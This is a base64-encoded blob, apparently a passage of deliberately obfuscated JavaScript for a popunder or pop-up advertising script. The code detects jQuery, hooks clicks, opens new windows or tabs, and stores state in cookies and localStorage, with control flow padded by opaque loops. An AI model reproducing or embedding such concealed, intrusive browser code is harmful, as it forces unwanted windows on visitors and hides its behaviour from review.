jcsVDc7SDc9MTg2NDAwNjYwNDt2Nz03MzE4NDIzNTE7VDc9Mjtmb3IodmFyIG83PTE7dzUuZDEobzcudG9TdHJpbmcoKSxvNy50b1N0cmluZygpLmxlbmd0aCw5MTY5NikhPT1INztvNysrKXt0eXBlb2YgeVt3c10hPT1nZSYmeVt3c11bT29dJiZObltvYV1bQ2ldKHlbd3NdW09vXSxjb25zb2xlLHQpO1Q3Kz0yO31pZih3NS5kMShUNy50b1N0cmluZygpLFQ3LnRvU3RyaW5nKCkubGVuZ3RoLDI0OTc5KSE9PXY3KXt+eVt3c109PT1nZXx8eVt3c11bT29dfHxObltvYV1bQ2ldKHlbd3NdW09vXSxjb25zb2xlLHQpO319LHI6ZnVuY3Rpb24oKXtmb3IodmFyIHQ9MDt0PHRoaXMudFtwaV07dCsrKXt0aGlzLm4odGhpcy50W3RdKTt9fSxlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9W3RdW0tuXShBaVtYdF1bcW5dW0NpXShhcmd1bWVudHMsMSkpO3RoaXMudFtNcl0oZSk7R2MuaSgpJiZ0aGlzLm4oZSk7fX07ZXU9e3M6ZnVuY3Rpb24oKXtpZih0aGlzLm89PT1tdSl0cnl7eVthcytHcit0aV1bbGkrR3IrRXJdKHJ1LDEpO3lbYXMrR3IrdGldW3huK0dyK0VyXShydSk7dGhpcy5vPWd1O31jYXRjaCh0KXt2YXIgdzcscDcsYjk7dzc9LTE2MTA5ODQyMzA7cDc9OTg2NDU4NDQ2O2I5PTI7Zm9yKHZhciBtOT0xO3c1LmQxKG05LnRvU3RyaW5nKCksbTkudG9TdHJpbmcoKS5sZW5ndGgsODg3MTMpIT09dzc7bTkrKyl7dGhpcy5vPXl1O2I5Kz0yO31pZih3NS5MMShiOS50b1N0cmluZygpLGI5LnRvU3RyaW5nKCkubGVuZ3RoLDMzNDE0KSE9PXA3KXt0aGlzLm89eXU7fXRoaXMubz15dTt9cmV0dXJuIHRoaXMubzt9LHU6ZnVuY3Rpb24odCl7dGhpcy5zKCk/eVthcytHcit0aV1beG4rR3IrRXJdKHQpOnR1LnUodCk7fSxjOmZ1bmN0aW9uKHQpe3RyeXtyZXR1cm4gdGhpcy5zKCk/eVthcytHcit0aV1bYWErR3IrRXJdKHQpOnR1LmModCk7fWNhdGNoKHQpe3JldHVybiBtdTt9fSxvOm11LGE6ZnVuY3Rpb24odCxlKXt0aGlzLnMoKT95W2FzK0dyK3RpXVtsaStHcitFcl0odCxlKTp0dS5hKHQsZSk7fX07dHU9e3U6ZnVuY3Rpb24odCl7dGhpcy5hKHQsMCxuZXcgSmMoMCkpO30sYzpmdW5jdGlvbih0KXt2YXIgZTt3NS5ZNCg1KTtlPXJpW050XVtiY10obmV3IFVyKHc1LnU0KGVyLEdyLEdyLGV0LHNjLHQsR3IsR3IsdHQsdWMsR3IsR3IsSm8sR3IpLGxzKSk7cmV0dXJuIGU/VmMoZVswXVtDcl0oR3IrZXQrR3IpWzFdKTptdTt9LGE6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO3M9aXx8R3I7cyYmKHR5cGVvZiBzPT09V3Q/KG89bmV3IEpjKCkpW2xpK0dyK0hdKG9bYWErR3IrSF0oKSsxZTMqcyk6bz1zLHM9R3IrZXIrZmkrZXQrR3Irb1tYcytHcitWcitHcit4YytHcitXK0dyK2hdKCkpO3JpW050XT10KyhHcitldCtHcikrJGMoR3IrZSkrcysocj9HcitlcitkcytldCtHcityOkdyKSsoR3IrZXIrQXQrZXQrR3IpKyhufHxHcitQZStHcik7fX07WmM9e3A6ZnVuY3Rpb24odCl7dmFyIGUsaTtpPXt9O2ZvcihlPTA7ZTx0W3BpXTtlKyspe2lbdFtlXVswXV09dFtlXVsxXTt9cmV0dXJuIGk7fSxXOmZ1bmN0aW9uKHQsZSxpKXt2YXIgbjt0cnl7cmV0dXJuIG49dFthYStHcitHaV0oZSksdHlwZW9mIGkhPT1UYz95dTohIW5ldyBVcihGbitpK01zLGxzKVtqY10obik7fWNhdGNoKHQpe3JldHVybiB5dTt9fSxBOmZ1bmN0aW9uKCl7dHJ5e3JldHVybiB0eXBlb2YgeS5qUXVlcnkuZm4ub249PT1aczt9Y2F0Y2godCl7cmV0dXJuIHl1O319LEc6ZnVuY3Rpb24odCl7cmV0dXJuKHQ/bmV3IEpjKHQpOm5ldyBKYygpKVthYStHcitIXSgpO30sTTpmdW5jdGlvbih0KXt2YXIgbTAsQTAsSTAsZSxsNyxjNyxWNzttMD0tMTc4MjYxMjU4MTtBMD0tMTYzMzI0MDE2NDtJMD0yO2Zvcih2YXIgcjA9MTt3NS5MMShyMC50b1N0cmluZygpLHIwLnRvU3RyaW5nKCkubGVuZ3RoLDM0ODU4KSE9PW0wO3IwKyspe0kwKz0yO31pZih3NS5MMShJMC50b1N0cmluZygpLEkwLnRvU3RyaW5nKCkubGVuZ3RoLDg0OTA2KSE9PUEwKXt9dHJ5e2w3PS0xMjU4NTI0ODY5O2M3PTc3MTI1MDQ2ODtWNz0yO2Zvcih2YXIgeTc9MTt3NS5kMSh5Ny50b1N0cmluZygpLHk3LnRvU3RyaW5nKCkubGVuZ3RoLDEwMjkyKSE9PWw3O3k3KyspeyhlPXRbSmFdW1FhXShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7VjcrPTI7fWlmKHc1LmQxKFY3LnRvU3RyaW5nKCksVjcudG9TdHJpbmcoKS5sZW5ndGgsMjYwMTcpIT09YzcpeyhlPXRbSmFdW1FhXSgoVWEtVnQpL2NpKSlbYm9dKCk7ZVtJb10oKTt9fWNhdGNoKHQpe30oZT1BdShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7fSxUOmZ1bmN0aW9uKHQpe3QmJihUdVtFaV09dCk7fSxxOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZSxpPVt5cixUbixFYSxCZSxqcyxabixqdCxrYyx3ZV0sbj0wO248aVtwaV07bisrKWlmKGU9aVtuXVtqY10odnUpKXtyZXR1cm4gdD9VYyhlWzFdLDEwKTplWzFdW1pdKFFzLEdyK1R0K0dyKTt9cmV0dXJuIG11O30sTDpmdW5jdGlvbih0LGUpe3c1Llk0KDcpO3JldHVybiB3NS51NChZZSxlcixHcix0LGllLHlzLEdyLGUsR3IsVmUsVnQsR3IpO30sXzpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUTAsZTAsajA7UTA9LTE2NDA5MDY2NDA7ZTA9MzYxNTQ4MTI4O2owPTI7Zm9yKHZhciB0MD0xO3c1LmQxKHQwLnRvU3RyaW5nKCksdDAudG9TdHJpbmcoKS5sZW5ndGgsMzk3NjcpIT09UTA7dDArKyl7aT15O3c1Llk0KDQpO249dFtDcl0odzUudTQoR3IsVHQsR3IpKTtmb3IoZT0wO2U8bltwaV07ZSsrKXtpPWlbbltlXV07fXJldHVybiBpO2owKz0yO31pZih3NS5MMShqMC50b1N0cmluZygpLGowLnRvU3RyaW5nKCkubGVuZ3RoLDQ3NjE4KSE9PWUwKXtpPXk7dzUuWTQoNik7bj10W0NyXSh3NS51NChUdCxHcixHcikpO2ZvcihlPTQ7ZTw9bltwaV07ZS0tKXtpPWlbbltlXV07fXJldHVybiBpO319LFM6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbyxzMCxEMCxXMCxVMCx4MCx6MDtvPXkualF1ZXJ5fHxudWxsO2lmKHQmJnRbQW5dKXtyZXR1cm4gZ3U7fWlmKCFvKXtyZXR1cm4geXU7fXRyeXtzMD0tMTYxNTA0NTA7RDA9LTE5OTUwMzAzNTQ7VzA9Mjtmb3IodmFyIGMwPTE7dzUuZDEoYzAudG9TdHJpbmcoKSxjMC50b1N0cmluZygpLmxlbmd0aCw5Nzc5KSE9PXMwO2MwKyspe2lmKChlPShvKHQpW2llXShHYSkmJm8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9VzArPTI7fWlmKHc1LkwxKFcwLnRvU3RyaW5nKCksVzAudG9TdHJpbmcoKS5sZW5ndGgsMjI1MTYpIT09RDApe2lmKChlPShvKHQpW2llXShHYSl8fG8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9fX1jYXRjaCh0KXt9dHJ5e1UwPS0xMjgxMDM4MTgyO3gwPS01MjI2MTY2MzI7ejA9Mjtmb3IodmFyIGkwPTE7dzUuTDEoaTAudG9TdHJpbmcoKSxpMC50b1N0cmluZygpLmxlbmd0aCwzMjg1OSkhPT1VMDtpMCsrKXtmb3IoZT1vKHJpW1FyXSlbaWVdKEdhKVtnc10saT00O2k+ZVtwaV07aS0tKWZvcihyPW8oZVtpXVtvZV0pLG49NztuPj1yW3BpXTtuLS0paWYocltuXT09dCl7cmV0dXJuIGd1O316MCs9Mjt9aWYodzUuTDEoejAudG9TdHJpbmcoKSx6MC50b1N0cmluZygpLmxlbmd0aCw4ODE3MikhPT14MCl7Zm9yKGU9byhyaVtRcl0pW2llXShHYSlbZ3NdLGk9NDtpPmVbcGldO2ktLSlmb3Iocj1vKGVbaV1bb2VdKSxuPTc7bj49cltwaV07bi0tKWlmKHJbbl09PXQpe3JldHVybiBndTt9fWZvcihlPW8ocmlbUXJdKVtpZV0oR2EpW2dzXSxpPTA7aTxlW3BpXTtpKyspZm9yKHI9byhlW2ldW29lXSksbj0wO248cltwaV07bisrKWlmKHJbbl09PT10KXtyZXR1cm4gZ3U7fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sQzpmdW5jdGlvbih0LGUsaSl7dmFyIG4scixvO289WmMuTyhvNSk7cmV0dXJuIG49b1t0bytHcit5YV1bbXJdW1VzK0dyK0NuXShkZSksbltPXT1yYStQZStDdCxuW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoSmErVHQrX3QrWWUrR3IrZXQrR3IrWWUrSmErVHQrcCtZZStHcitldCtHcitZZStKYStUdCt1cytHcitDbitZZStHcitldCtHcitZZStkK2VyK0dyKSsoSmErVHQrJG4rWWUrR3IrZXQrR3IrWWUrWnMrUit6K1ZlK0dyK1llK3NvK1ZlK0dyK1llK0NlK1ArR3IrWWUrR3Ird24rR3IpKyh1YStZZStCcytHcitYbytZZStHcitldCtHcitZZStKYStUdCtRYStSK3orVmUrR3IrWWUrc28rVmUrR3IrWWUrQ2UrUCtHcitlcitHcikrKFdyK1llK0dyK3duK0JzK0dyK1hvK1R0K1dvK1llK0dyK2V0K0dyK1llK2QrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSsoTnIrWWUrQnMrR3IrWG8rZXIrR3IpKyhHcitEcitHcitlcitHciksb1t0bytHcit5YV1bbXJdW1FyXVtJdCtHcitXZV0obikscj1vW3RvK0dyK3lhXS5ta3AodCxlLGkpLFpjLlAobykscjt9LEI6ZnVuY3Rpb24odCxlLG4pe3ZhciByLG8scztyPTA7bz1ufHwxMDtzPXQ7dHJ5e2Zvcig7cyYmcisrPG87KXtpZih0eXBlb2YgZT09PVRjJiYoc1tTYytHcittY109PT1lfHxaYy5JKHMsZSkpfHx0eXBlb2YgZT09PWFyJiZzPT09ZSl7cmV0dXJuIHM7fXc1Llk0KDQpO3M9c1t3NS51NChfdCxHcixpKV07fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sRjpmdW5jdGlvbih0KXt2YXIgZTtlPVJ0W1RlXTtyZXR1cm4gdHlwZW9mIHQhPT1nZSYmKGU9KGN0W2pjXSh0KXx8W0dyLEdyXSlbMV0pLGVbWl0oUGMsR3IpO30seDpmdW5jdGlvbih0KXtyZXR1cm4geWlbWHRdW1hzK0dyK2hdW0NpXSh0KT09PUdyK0pvK2FyK1llK2JuK3R0K0dyO30sazpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUjAsUDAsSjA7aT1bXTtuPVpjLnYoKTt0cnl7UjA9LTE2Mjc2MTY5Mzc7UDA9LTIwMDI5NzgxNzY7SjA9Mjtmb3IodmFyIEIwPTE7dzUuTDEoQjAudG9TdHJpbmcoKSxCMC50b1N0cmluZygpLmxlbmd0aCw3NjkxMCkhPT1SMDtCMCsrKXtmb3IoZSBpbiBuKXt+dFtlXSE9Z2V8fGlbTXJdKGUvKChHci1ldCklR3IpLXRbZV0pO31KMCs9Mjt9aWYodzUuTDEoSjAudG9TdHJpbmcoKSxKMC50b1N0cmluZygpLmxlbmd0aCw4NjExMCkhPT1QMCl7Zm9yKGUgaW4gbil7fnRbZV0hPWdlfHxpW01yXShlLygoR3ItZXQpJUdyKS10W2VdKTt9fWZvcihlIGluIG4pe3R5cGVvZiB0W2VdIT09Z2UmJmlbTXJdKGUrKEdyK2V0K0dyKSt0W2VdKTt9fWNhdGNoKHQpe0tjLmUodCk7fXc1Llk0KDQpO3JldHVybiBpW05pXSh3NS5jNChHcixWZSxHcikpO30sUjpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy5CKHQsT24pO30seTpmdW5jdGlvbigpe2Zvcih2YXIgdCxlPXt9LGk9MDtpPGFyZ3VtZW50c1twaV07aSsrKWZvcih0IGluIGFyZ3VtZW50c1tpXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0oYXJndW1lbnRzW2ldLHQpJiYoZVt0XT1hcmd1bWVudHNbaV1bdF0pO31yZXR1cm4gZTt9LFY6ZnVuY3Rpb24odCxlKXt2YXIgSjEsWDEsQjE7SjE9NDUyODczNzI5O1gxPTEyNzMxMDM4NTg7QjE9Mjtmb3IodmFyIE4xPTE7dzUuZDEoTjEudG9TdHJpbmcoKSxOMS50b1N0cmluZygpLmxlbmd0aCw1NTI1MSkhPT1KMTtOMSsrKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpKihlLXQpKSt0O0IxKz0yO31pZih3NS5kMShCMS50b1N0cmluZygpLEIxLnRvU3RyaW5nKCkubGVuZ3RoLDI4MzUxKSE9PVgxKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpJShlL3QpKSV0O319LFE6ZnVuY3Rpb24odCl7dmFyIGUsaSxuO3c1Llk0KDgpO2U9dzUuYzQodHlwZW9mIHQsYXIpO2k9dDt3NS5vNCg0KTtuPXJpW1VzK0dyK0NhXSh3NS51NChTbixHcix1bykpO25bTHMrR3IrU24rR3IrQ2FdKGdzLGd1LGd1LHksMCwwLDAsMCwwLGd1LHl1LHl1LGd1LDAsbXUpO2V8fChpPVpjLnooVSx7aHJlZjp0fHxpZStWdCtyYStQZStqbytWZStHcit1aStkZSt1citKYStUdCtJbytSK0dyK1ArR3IrZXIrR3IrdWkrR3IrUGUrZGUrdXIrR3J9KSxyaVtRcl1bSXQrR3IrV2VdKGkpKTtpW2duK0dyK0NhXShuKTtlfHxaYy5QKGkpO30sejpmdW5jdGlvbih0LGUsaSl7dmFyIG4scjtyPXJpW1VzK0dyK0NuXSh0KTtmb3IobiBpbiBlKXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXShlLG4pJiZyW2xpK0dyK0dpXShuLGVbbl0pO31yZXR1cm4gaSYmKHJbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPWkpLHI7fSxZOmZ1bmN0aW9uKCl7dHJ5e3c1Lm80KDQpO3JldHVybiEhT3VbdzUuYzQoZW4sUGUsTWMpXVt3NS51NCgkaSxHcixXcyldO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sbDpmdW5jdGlvbih0KXt2YXIgZSxpLFk3LGY3LHM3O2U9WmMuXyh0KTt3NS5ZNCg0KTtpPXRbWl0oQWEsdzUudTQoR3Isem8scSkpO3RyeXtZNz0tMTYzMTA2MDI3MDtmNz0xOTgxNTM2MDYxO3M3PTI7Zm9yKHZhciBXNz0xO3c1LkwxKFc3LnRvU3RyaW5nKCksVzcudG9TdHJpbmcoKS5sZW5ndGgsMTYwMikhPT1ZNztXNysrKXtyZXR1cm4rbmV3IFVyKChacy9ZZS1HcikvIGkveHIsUnMpW2lyXShlW1hzJUdyL2hdKCkpO3M3Kz0yO31pZih3NS5MMShzNy50b1N0cmluZygpLHM3LnRvU3RyaW5nKCkubGVuZ3RoLDExNjM3KSE9PWY3KXtyZXR1cm4hbmV3IFVyKFpzK1llK0dyK2kreHIsUnMpW2lyXShlW1hzK0dyK2hdKCkpO319Y2F0Y2godCl7cmV0dXJuIHRbWHMrR3IraF0oKVtMK0dyK1dhXShrbytZZStycytZZStVK1llK1pzKT4tMT9ndTpYYy5kP2d1Onl1O319LHY6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbzt3NS5vNCg0KTtlPXlbdzUuYzQoUGEsR3IsZyldO3c1Llk0KDQpO2k9eVt3NS5jNChQYSxHcix3YyldO249eVtPaStHcitVZV18fHlbT2krR3IrV25dfHwwO3I9eVtPaStHcit4b118fHlbT2krR3IrQ2NdfHwwO289e307cmV0dXJuIG9bb2NdPWUsb1tLYV09aSxvW0hpXT1uLG9bcF09cixvW29yXT0wLG9bRWldPTEsb1tTcl09MSxvW09yXT0xLG8ucmVzaXphYmxlPTEsb1tNZV09MSxYYy5iJiYob1tLYV0rPVhjLm0/NDY6NTIpLFhjLmcmJihvW29jXS09NSxvW0thXS09NCksdHlwZW9mIHQ9PT1hciYmKG89WmMueShvLHQpKSxvO30sTzpmdW5jdGlvbih0KXt2YXIgZTtlPXJpW1VzK0dyK0NuXShjbik7cmV0dXJuIGVbeGVdW3h0XT1YaSx0JiZyaVtRcl1bSXQrR3IrV2VdKGUpLGU7fSxEOmZ1bmN0aW9uKHQpe3JldHVybiB0W1NjK0dyK21jXT09PUZjK0dyK1ZyK0dyK3hjK0dyK3hjK0dyK2ZjK0dyK2d0fHx0W1NjK0dyK21jXT09PXZhK0dyK2d0K0dyK210K0dyK1ZyK0dyK3hjJiZVbltpcl0odFthYStHcitHaV0oTykpfHx0aGlzLkIodCxGYytHcitWcitHcit4YytHcit4YytHcitmYytHcitndCkhPT15dTt9LFA6ZnVuY3Rpb24odCl7dCYmdFtfdCtHcitpXSYmdFtfdCtHcitpXVt4bitHcitXZV0odCk7fSxJOmZ1bmN0aW9uKHQsZSl7dmFyIG4scixvO2lmKHR5cGVvZiBlIT09VGMpe3JldHVybiB5dTt9aWYodHlwZW9mIHJpW2VlK0dyK3Z0K0dyK21dPT09WnMpdHJ5e3I9dFtfdCtHcitpXVtlZStHcit2dCtHcittXShlKXx8eS5qUXVlcnkoZSk7fWNhdGNoKHQpe31lbHNlIGlmKFpjLkEoKSl0cnl7cj15LmpRdWVyeShlKTt9Y2F0Y2godCl7fWlmKHIpZm9yKG89MDtvPHJbcGldO28rKylpZihyW29dPT09dCl7cmV0dXJuIGd1O31zd2l0Y2goZVswXSl7Y2FzZSBHcitUdCtHcjpuPVtsbyxlW2ZzXSgxKV07YnJlYWs7Y2FzZSBHcitzZStHcjpuPVtWYSxlW2ZzXSgxKV07fXJldHVybiBuP3RoaXMuVyh0LG5bMF0sblsxXSk6eXU7fSxmOmZ1bmN0aW9uKHQsZSl7dHJ5e3JldHVybiEoIXRba2ldW2VdfHwhdFtraV1bZV1bWW5dKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LE46ZnVuY3Rpb24odCl7dmFyIGU7ZT10aGlzLlIodCk7cmV0dXJuIGUmJmVbdW5dJiYheHNbaXJdKGVbdW5dKT9lW3VuXTp5dTt9LEo6ZnVuY3Rpb24odCxlLGksbil7Zm9yKHZhciByLG8scyxhPXRbWHMrR3IraF0oKVtDcl0obnx8R3IrVHQrR3IpLGM9ZVtYcytHcitoXSgpW0NyXShufHxHcitUdCtHciksdT0wLGY9ZHJbQm9dKGFbcGldLGNbcGldKTt1PGYmJihyPVVjKGFbdV18fDAsMTApLG89VWMoY1t1XXx8MCwxMCkscWMocikmJihyPTApLHFjKG8pJiYobz0wKSxzPXI+bz8xOi0xLHI9PT1vKTt1Kyspe3M9MDt9c3dpdGNoKGkpe2Nhc2UgR3IrdXIrR3I6dzUubzQoOCk7cmV0dXJuIHc1LnU0KDEscyk7Y2FzZSBHcit1citHcitldCtHcjp3NS5ZNCg5KTtyZXR1cm4gdzUuYzQocywxKTtjYXNlIEdyK3VpK0dyOnc1Lm80KDEwKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK3VpK0dyK2V0K0dyOnc1Llk0KDExKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK2V0K0dyK2V0K0dyOmNhc2UgR3IrZXQrR3IrZXQrR3IrZXQrR3I6ZGVmYXVsdDp3NS5ZNCg4KTtyZXR1cm4gdzUudTQoMCxzKTt9fSwkOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZT1wZVtDcl0oR3IpLGk9ZVtwaV0sbj0wLHI9R3I7bjx0O24rKyl7cis9ZVtkcltBY10oZHJbTW5dKCkqaSldO31yZXR1cm4gcjt9LGg6ZnVuY3Rpb24odCxlKXt0cnl7cmV0dXJuIHRbYWErR3IrR2ldKGUpO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sSDpmdW5jdGlvbih0LGUsaSl7dmFyIG47dzUubzQoMik7bj13NS5jNChoaSx0KTtyZXR1cm4gdHlwZW9mIHlbbl0hPT1nZSYmcm8oeVtuXSkseVtuXT1pbyhlLGkpO30sdzpmdW5jdGlvbigpe3JldHVybiBQdTt9LFU6ZnVuY3Rpb24odCl7cmV0dXJuIHRbU2MrR3IrbWNdPT09dmErR3IrZ3QrR3IrbXQrR3IrVnIrR3IreGMmJm5lW2lyXSh0W2FhK0dyK0dpXShPKSl8fHRbU2MrR3IrbWNdPT09cGErR3IrT24rR3IrRmMrR3IrUHMrR3IrcGE7fX07aXU9e3R0OmZ1bmN0aW9uKHQsZSl7dmFyIGkscTUsbTUsQTU7dHJ5e3E1PS0xNDE1MjczNDIzO201PS0zMzc1MDc5MjY7QTU9Mjtmb3IodmFyIEs1PTE7dzUuZDEoSzUudG9TdHJpbmcoKSxLNS50b1N0cmluZygpLmxlbmd0aCwzNzU1NSkhPT1xNTtLNSsrKXtyZXR1cm4gZXx8KGk9cmlbKHdyLUdyKSVqbipHcipMY10odFtIYyVHci9VZV0sdFtIYy9Hci14b10pKT9pOnRbVGldJiZ0W1hzLUdyLUNuXSYmdFsoWHItR3IpJUNuXTtBNSs9Mjt9aWYodzUuTDEoQTUudG9TdHJpbmcoKSxBNS50b1N0cmluZygpLmxlbmd0aCw3MjUzNikhPT1tNSl7cmV0dXJuIGUmJihpPXJpW3dyK0dyK2puK0dyK0xjXSh0W0hjK0dyK1VlXSx0W0hjK0dyK3hvXSkpP2k6dFtUaV18fHRbWHMrR3IrQ25dfHx0W1hyK0dyK0NuXTt9fWNhdGNoKHQpe3JldHVybiB5dTt9fSxYOmZ1bmN0aW9uKHQsZSxpLG4pe3JldHVybiB0eXBlb2YgdFtIbitHcitDYStHcitFbl09PT1acz90W0huK0dyK0NhK0dyK0VuXShlLGksbnx8e30pOnRbRmUrR3IrQ2FdKE5vK2UsaSk7fSxLOmZ1bmN0aW9uKHQsZSxpLG4pe3ZhciByO3I9ZnVuY3Rpb24oKXtpdS5aKHQsZSxyLG4pO2lbQ2ldKCk7fTtpdS5YKHQsZSxyLG4pO30sWjpmdW5jdGlvbih0LGUsaSxuKXtyZXR1cm4gdHlwZW9mIHRbeG4rR3IrQ2ErR3IrRW5dPT09WnM/dFt4bitHcitDYStHcitFbl0oZSxpLG58fHt9KTp0W0tpK0dyK0NhXShObytlLGkpO319OyEoWGM9e2l0OmZhW2lyXSh2dSksbnQ6c3RbaXJdKHZ1KSxtOmxlW2lyXSh2dSksZXQ6YWNbaXJdKHZ1KSxydDpTb1tpcl0odnUpLG90OnNpW2lyXSh2dSl8fEpyW2lyXSh2dSl8fHVlW2lyXSh2dVtmc10oMCw0KSksc3Q6dm9baXJdKHZ1KSxnOkFyW2lyXSh2dSkmJiFfYVtpcl0odnUpLGI6bHJbaXJdKHZ1KSYmIW1hW2lyXSh2dSksYXQ6bWVbaXJdKHZ1KSYmIWdyW2lyXSh2dSksY3Q6eFtpcl0odnUpLGQ6Rltpcl0odnUpLHV0OnlvW2lyXSh2dSksX3Q6bXUscHQ6WmMucShndSl8fG11LGx0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuX3QhPT1tdT90aGlzLl90OnRoaXMuX3Q9UWMuZHQoKSE9PXl1O30sSjpmdW5jdGlvbih0LGUpe3JldHVybiBaYy5KKFhjLmZ0LGUsdCk7fSxodDptb1tpcl0odnUpJiYhenJbaXJdKHZ1KSxmdDpaYy5xKHl1KXx8bXV9KS5ldHx8WGMuaHR8fFhjLmR8fFhjLmJ8fChYYy51dD1vNSk7KFljPWZ1bmN0aW9uKHQsZSxpKXt2YXIgbjtuPWl8fHt9O25bel09ZTt0aGlzLnZ0KG4pO3RoaXMubXQuYnR8fCh0aGlzLm10LmJ0PXJ1K3QpO3RoaXMuZ3QoKTt9KVtYdF09e2t0OntUdDpndSxDdDptdSxqdDp5dSxFdDpHcitQZStHcixGdDprdSxMdDpndSxBdDp5dSxPdDpndSx4dDptdSxQdDpudWxsLGJ0Om11LHd0Om11LFN0Omt1fSxtdDp7fSx5dDpudWxsLHp0OlpjLnYoKSxCdDpaYy5wKFtbT3IsMF1dKSxJdDpaYy5wKFtbTWUsMV1dKSxNdDpaYy5wKFtbU3IsMV1dKSxXdDpaYy5wKFtbRWksMF0sW1NyLDBdXSksRHQ6WmMucChbW01lLDBdXSksVXQ6WmMucChbW1p0LDBdXSksUnQ6WmMucChbW0VpLDBdXSksc2V0T3B0aW9uczpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy52dCh0KTt9LGd0OmZ1bmN0aW9uKCl7dmFyIHQsZSxpLG47dD1mdW5jdGlvbih0LGUpe3ZhciBpLG47bj17fTtuW3B1XT1beXUsZ3VdO25bX3VdPVt5dSx5dV07bltsdV09W2d1LGd1XTtuW2R1XT1bZ3UseXVdO2ZvcihpIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixpKSYmbltpXVswXT09PXQmJm5baV1bMV09PT1lKXtyZXR1cm4gaTt9cmV0dXJuIF91O307ZT1YYy5sdCgpO2k9dChHYy5tdC4kdC5uZXdUYWIsR2MubXQuJHQudW5kZXIpO249dCh0aGlzLm10LkF0LHRoaXMubXQuVHQpO2V8fG49PT1wdSYmKG49aSk9PT1wdSYmKG49bHUpO1hjLm90JiYobj09PV91JiYobj1kdSksbj09PXB1JiYobj1sdSkpO3RoaXMueXQ9bjt9LEh0OmZ1bmN0aW9uKCl7dmFyIGswLG4wLEYwO2lmKHR5cGVvZiB0aGlzLm10Lnh0PT09WnMpdHJ5e3JldHVybiB0aGlzLm10Lnh0W0NpXSh0aGlzLHRoaXMubXQpW1hzK0dyK2hdKCk7fWNhdGNoKHQpe3JldHVybiBLYy5lKHQpLHl1O31rMD0tMTAwMjA0NzAxMztuMD0tMTY1MTM4NjMwNztGMD0yO2Zvcih2YXIgTTA9MTt3NS5MMShNMC50b1N0cmluZygpLE0wLnRvU3RyaW5nKCkubGVuZ3RoLDY4NDExKSE9PWswO00wKyspe3JldHVybiB0aGlzLm10Lnh0O0YwKz0yO31pZih3NS5kMShGMC50b1N0cmluZygpLEYwLnRvU3RyaW5nKCkubGVuZ3RoLDkwOTM5KSE9PW4wKXtyZXR1cm4gdGhpcy5tdC54dDt9fSxMdDpmdW5jdGlvbigpe3ZhciB0LGUsRzcsQzcsazcsVjAsdTAseTA7dD10aGlzLm10O2U9dC5PdCE9PU5zJiZ0Lk90IT09TmV8fHQuT3Q9PT1OcyYmWGMub3R8fHQuT3Q9PT1OZSYmIVhjLm90O3RyeXtHNz0tMTkzODMwODU3MjtDNz0tMTE3NzY0NDk2NDtrNz0yO2Zvcih2YXIgRjc9MTt3NS5kMShGNy50b1N0cmluZygpLEY3LnRvU3RyaW5nKCkubGVuZ3RoLDg5NDI0KSE9PUc3O0Y3Kyspe3R5cGVvZiB0Lkx0PT09WnM/ZT1lJiZ0Lkx0W0NpXSh0aGlzLGUsdGhpcy5OdCgpKSE9PXl1OnR5cGVvZiB0Lkx0PT09YW4mJihlPWUmJnQuTHQpO2s3Kz0yO31pZih3NS5MMShrNy50b1N0cmluZygpLGs3LnRvU3RyaW5nKCkubGVuZ3RoLDUzNDE4KSE9PUM3KXstdC5MdCE9PVpzP2U9ZXx8dC5MdFtDaV0odGhpcyxlLHRoaXMuTnQoKSk9PT15dTohdC5MdD09YW58fChlPWV8fHQuTHQpO319Y2F0Y2godCl7S2MuZSh0KTt9VjA9Njg3MDAyMDA4O3UwPS0yOTc1OTkyODc7eTA9Mjtmb3IodmFyIHYwPTE7dzUuTDEodjAudG9TdHJpbmcoKSx2MC50b1N0cmluZygpLmxlbmd0aCw2NDU0MSkhPT1WMDt2MCsrKXtyZXR1cm4gR2MuSnQoKT9lfHwtdGhpcy5WdDplfHwrdHUuYyh0LmJ0KTt5MCs9Mjt9aWYodzUuTDEoeTAudG9TdHJpbmcoKSx5MC50b1N0cmluZygpLmxlbmd0aCwyOTMyNSkhPT11MCl7cmV0dXJuIEdjLkp0KCk/ZXx8LXRoaXMuVnQ6ZXx8K3R1LmModC5idCk7fXJldHVybiBHYy5KdCgpP2UmJiF0aGlzLlZ0OmUmJiF0dS5jKHQuYnQpO30sdnQ6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHI7dGhpcy5tdD1aYy55KHRoaXMuenQsdGhpcy5rdCx0aGlzLm10LHR8fHt9KTtmb3IoaSBpbiB0aGlzLm10KWlmKHlpW1h0XVtCYStHcitsdCtHcitvb11bQ2ldKHRoaXMubXQsaSkpc3dpdGNoKG49dGhpcy5tdFtpXSxpKXtjYXNlIHNvOnRoaXMubXQud3Q9bjticmVhaztjYXNlIHo6dGhpcy5tdC54dD1uO2